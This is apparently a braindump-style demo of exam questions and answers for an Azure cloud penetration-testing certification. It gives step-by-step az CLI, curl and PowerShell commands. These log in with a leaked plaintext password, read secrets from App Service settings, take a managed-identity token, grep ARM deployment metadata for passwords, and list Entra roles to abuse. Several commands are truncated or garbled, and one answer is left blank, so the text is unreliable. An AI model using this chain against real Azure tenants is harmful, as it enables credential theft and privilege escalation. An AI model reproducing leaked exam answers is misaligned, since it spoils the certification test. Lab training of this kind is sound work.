We offer free update service for one year!
https://www.certqueen.com

Exam : **CCPenX-Az**

Title : Certified Cloud Pentesting eXpert - Azure

Version : DEMO

1.SIMULATION
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal dat a. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker’s actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
Answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u alex.johnson@azuresecops.onmicrosoft.com -p 'pg: Lr{k102l(fh7!' After successful authentication, check the active Azure subscription context. az account show
The important fields are:
{
"id": "7403ec86-c39d-4d80-9efa-35c7580ecefa", "name": "Azure subscription 1", "tenantDefaultDomain": "azuresecops.onmicrosoft.com", "tenantDisplayName": "ExcaliburCorp", "tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b"
}
The AAD /Microsoft Entra tenant ID is the tenantId.
Final Answer
f015f36d-c07f-41fb-9bde-fffc3a22ee8b

2.SIMULATION
You’ve gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities
The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \

--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag secret password token connectionString clientSecret
The exposed app setting contains:
{
"name": "Flag", "slotSetting": false, "value": "Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}"
}
Final Answer
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

3.Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity.
Which of the following roles is assigned to the Web App's Security Principal?
A. Compute-Instance-Inspector
B. VM-Metadata-Reader
C. Storage-Metadata-Reader
D. AppService-Auditor
Answer: D
Explanation:
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
"userAssignedIdentities": {
"/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity": {
"clientId": "cf3664d4-5cec-4feb-b0ef-88b7958809df", "principalId": "efe89e83-010f-42f6-9576-30531fa47af7"
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.

Final Answer
D. AppService-Auditor

4.SIMULATION
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning.
What is the secret?
Answer:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration.
In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl "$IDENTITY_ENDPOINT?api-version-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
For Windows PowerShell inside Kudu:
$uri $response }
$token Now use the token to query Azure Resource Manager. $sub Invoke-RestMethod `
-Uri "https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version-
Headers @{ Authorization Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso
urces/deployments?api-version-Headers @{ Authorization For each deployment name returned, inspect it:
$deploymentName Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso
urces/deployments/$deploymentName?api-version-Headers @{ Authorization Also check deployment operations:
Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso
urces/deployments/$deploymentName/operations?api-version-Headers @{ Authorization Search the output for fields like:
password secret adminPassword userPassword credential sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be: curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-

version| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'
Final Answer
Use the leaked secret/password value returned from the deployment metadat a. Do not guess this; it is lab-generated.

5.You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment.
Which of the following Microsoft Entra ID roles is assigned to this user?
A. Password Administrator
B. User Administrator
C. Helpdesk Administrator
D. Groups Administrator
Answer: B
Explanation:
Detailed Solution:
Log in using the credential recovered in Q4.
az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p '<recovered-password>'
Confirm the current signed-in user:
az ad signed-in-user show --output json
Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf" \ --output json
To display only role names:
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf" \ --query "value[].displayName" \ --output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final Answer
B. User Administrator